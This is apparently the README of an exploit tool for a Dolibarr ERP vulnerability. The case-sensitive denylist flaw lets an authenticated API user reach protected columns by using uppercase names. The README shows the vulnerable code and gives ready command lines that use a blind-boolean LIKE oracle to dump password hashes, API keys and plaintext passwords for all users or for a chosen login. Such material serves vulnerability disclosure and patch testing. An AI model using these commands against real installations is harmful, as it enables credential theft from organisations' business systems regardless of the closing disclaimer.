CVE-2026-89012 — Dolibarr SQL Filter Denylist Bypass

Exploit for CVE-2026-89012: the forbidden-fields denylist in forgeSQLFromUniversalSearchCriteria() (introduced with the CVE-2026-71510 fix) uses a case-sensitive in_array() while the operand charset allows A-Z. Since SQL column resolution is case-insensitive, an authenticated API user can query t.PASS_CRYPTED instead of t.pass_crypted and bypass the denylist. Prefix LIKE predicates turn sqlfilters into a blind-boolean oracle that recovers password hashes character by character.

Record: https://www.cve.org/CVERecord?id=CVE-2026-89012

Root cause

// htdocs/core/lib/functions.lib.php, 24.0.0 line 16306
$operandwithoutprefix = preg_replace('/^[a-z0-9_]+\./i', '', $operand);
if (in_array($operandwithoutprefix, $newforbiddenfields)) {  // case-sensitive
    return '1=1';
}

Usage

# detection (safe, 3 requests)
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY check

# list readable users
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY users

# extract pass_crypted for every user (threaded oracle)
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump

# single target / other protected column
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump --login admin
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump --column API_KEY --charset hex

Standard library only (Python 3.8+). Supports --proxy, --insecure, --timeout.

Note: under a case-insensitive collation (the default) the bcrypt value is recovered exactly up to character case; plaintext columns (llx_adherent.pass via /api/index.php/members, pass_temp) recover byte-exact.

References

• CVE record: https://www.cve.org/CVERecord?id=CVE-2026-89012
• Fixed release: https://github.com/Dolibarr/dolibarr/releases/tag/24.0.1
• Patch commit: https://github.com/Dolibarr/dolibarr/commit/7a04d9c970e45e15d29c91e6f5a34a262c6c51c8

Disclaimer

For authorized testing and research only. Use only against systems you own or have explicit permission to test.